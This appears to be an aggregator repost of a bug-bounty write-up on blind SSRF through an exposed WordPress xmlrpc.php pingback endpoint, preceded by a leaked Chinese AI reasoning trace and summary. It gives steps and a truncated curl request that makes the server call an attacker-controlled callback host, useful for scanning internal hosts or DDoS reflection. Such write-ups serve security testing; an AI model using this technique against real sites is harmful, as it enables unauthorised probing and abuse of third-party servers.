How I hacked a website just by looking at the source code Part-2
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容,了解其主要信息。 文章讲的是一个WordPress的漏洞,具体是XML-RPC pingback方法导致的盲SSRF。攻击者可以利用这个漏洞让服务器发送HTTP请求到他们控制的域名。这可能用来发现服务器的IP、扫描内部网络或者作为DDoS反射器。 接下来,我需要提取关键点:漏洞名称、影响、攻击者能做什么、检测方法。然后用简洁的语言把这些点连贯地表达出来,确保不超过100字。 可能的结构是:介绍漏洞名称和影响,然后说明攻击者的可能行为,最后提到检测方法。这样既全面又简洁。 现在开始组织语言:“WordPress XML-RPC pingback方法存在盲SSRF漏洞,攻击者可利用该漏洞让服务器向其控制的域名发起HTTP请求,从而获取服务器IP、扫描内网或作为DDoS反射器。检测可通过访问/xmlrpc.php并观察响应状态码。” 检查字数是否在限制内,并确保没有使用禁止的开头词。这样应该能满足用户的需求。 </think> WordPress XML-RPC pingback方法存在盲SSRF漏洞,攻击者可利用该漏洞让服务器向其控制的域名发起HTTP请求,从而获取服务器IP、扫描内网或作为DDoS反射器。检测可通过访问/xmlrpc.php并观察响应状态码。 2026-2-4 15:9:1 Author: infosecwriteups.com(查看原文) 阅读量:0 收藏

Devansh Patel

This is a very easy P4 bug.

FREE LINK

Press enter or click to view image in full size

Generated by AI

This bug is called BLIND SSRF VIA XMLRPC PINGBACK METHOD.

While testing the website, I discovered that the WordPress XML-RPC endpoint (/xmlrpc.php) is exposed and accepts unauthenticated pingback.ping requests. This allows an attacker to force the server to initiate outbound HTTP requests to attacker-controlled domains.

This creates a blind Server-Side Request Forgery (SSRF) primitive. The attacker can use this behaviour to:

  • Discover the origin IP and network position of the server
  • Potentially scan/reach internal hosts (private IP ranges)
  • Abuse the site as a DDoS reflector toward any external victim

How to find it:

  1. Visit https://www.redacted.com/xmlrpc.php and check if it accessable or not if it is forbbiben it will show 403 FORBIDDEN. But if it is open you will see something like this:
  2. Prepare an out-of-band listener (Burp Collaborator / Interactsh)
  3. Capture its unique callback URL (e.g., http://<attacker-domain>.oast.me)
  4. Send the request::
curl -s -H "Content-Type: text/xml" \
--data '<?xml…

文章来源: https://infosecwriteups.com/how-i-hacked-a-website-just-by-looking-at-the-source-code-part-2-375b21321815?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh